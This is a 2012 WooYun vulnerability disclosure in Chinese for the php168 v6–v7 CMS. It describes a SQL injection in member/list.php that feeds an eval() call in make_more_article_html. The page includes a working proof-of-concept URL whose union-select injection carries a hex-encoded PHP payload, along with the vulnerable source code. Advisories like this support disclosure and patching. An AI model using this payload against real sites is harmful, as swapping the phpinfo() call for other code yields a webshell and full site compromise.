当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2012-012369

漏洞标题:php168 v6~v7鸡肋Getshell安全问题

相关厂商:php168

漏洞作者: 网络达人

提交时间:2012-09-18 20:55

修复时间:2012-09-18 20:55

公开时间:2012-09-18 20:55

漏洞类型:SQL注射漏洞

危害等级:低

自评Rank:5

漏洞状态:未联系到厂商或者厂商积极忽略

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2012-09-18: 积极联系厂商并且等待厂商认领中,细节不对外公开
2012-09-18: 厂商已经主动忽略漏洞,细节向公众公开

简要描述:

php168 v6~v7 部分脚本过滤不导致可以获取WEBSHELL

详细说明:

有点鸡肋,需要条件:
1.网站配置为:文章生成真静态
2.允许注册会员
给出v6的测试代码,提交后执行phpinfo(),v7原理一样,只是数据库字段数不一样。

member/list.php?step=2&Type=delete&aidDB[]=-1)%20union%20select%201,2,3,4,5,6,7,8,9,10,1,2,3,4,15,6,7,8,9,10,1,2,3,4,25,6,7,8,9,10,1,2,3,4,35,6,7,8,9,10,1,2,3,4,45,6,7,8,9,10,1,2,3,4,0x7B247B706870696E666F28297D7D,6,7%23


漏洞在make_more_article_html这个函数:

function make_more_article_html($comebackurl='/',$type='',$aidDB=''){
global $db,$pre,$webdb,$webdb,$showHtml_Type;
if($webdb[NewsMakeHtml]!=1||$aidDB=='') // $webdb[NewsMakeHtml] 真静态
{ return ;}
...
$query = $db->query("SELECT A.*,B.bencandy_html,B.list_html,D.aid FROM {$pre}article_db D LEFT JOIN {$pre}article A ON D.aid=A.aid LEFT JOIN {$pre}sort B ON A.fid=B.fid WHERE D.aid IN ($string)");
while($rs = $db->fetch_array($query)){
...
$filename_b=$rs[bencandy_html];
...
eval("\$showurl=\"$filename_b\";");
...


在 \member\list.php中调用了该漏洞函数:

if($step==2){
...
if($Type=='delete'){
make_more_article_html("$FROMURL","del_0",$aidDB);

漏洞证明:

修复方案:

版权声明:转载请注明来源 网络达人@乌云


漏洞回应

厂商回应:

未能联系到厂商或者厂商积极拒绝


漏洞评价:

评论

  1. 2012-09-18 21:36 | Xhm1n9 ( 实习白帽子 | Rank:57 漏洞数:13 | bug)

    多表查询也能用union了?

  2. 2012-09-19 09:43 | 小雨 ( 普通白帽子 | Rank:105 漏洞数:19 | phper)

    @Xhm1n9 只要列数能匹配上就可以吧。。。